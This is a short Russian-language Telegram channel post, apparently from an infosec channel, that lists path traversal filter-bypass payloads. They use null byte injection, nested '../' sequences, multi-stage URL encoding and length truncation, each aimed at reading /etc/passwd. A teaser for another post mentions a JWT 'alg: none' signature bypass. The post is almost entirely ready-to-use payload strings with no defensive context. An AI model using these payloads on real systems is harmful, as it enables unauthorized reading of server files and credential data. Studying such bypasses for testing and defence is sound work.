TGViewer
InfoSec Portal InfoSec Portal @cybersecinform · 19.3K subscribers
Post #8507 1.4K
Обход Path Traversal

Null Byte Injection
../../../etc/./passwd%00.png

Удаление ../
..././..././..././e../tc..//pas../swd

Многоэтапное декодирование
..%2%35%32F..%2%35%32F..%2%35%32Fetc%2%35%32F/passwd

Добавление для усечения по длине, 4096 байт
../../../etc/./passwd/././././././

👉 @cybersecinform
  • ❤ 9
More from @cybersecinform
  1. Oct 4, 2026👉 @cybersecinform
  2. Oct 4, 2026Debian одним обновлением безопасности исправила 1 313 уязвимостей ядра Linux в Debian 13 «…
  3. Oct 3, 2026Злоумышленники могли использовать iCloud, чтобы отправлять письма от имени любого адреса в…
  4. Oct 3, 2026Парень выложил на GitHub приложение, которое превращает ваш телефон в детектор слежки. Оно…
  5. Oct 2, 2026OpenClaw только что запустила «Kubernetes для ИИ-агентов» при поддержке OpenAI, NVIDIA и R…
  6. Oct 1, 2026Обход JWT через alg: none без необходимости подписи. Authorization: Bearer eyJhbGciOiJub25…
Threads Profile ViewerView any public Threads profile without an account.Open ThreadLook →Writing with AI? Make it sound human.Metric37 rewrites AI drafts so they read naturally. Free AI detector, 1,500 words free.Try Metric37 →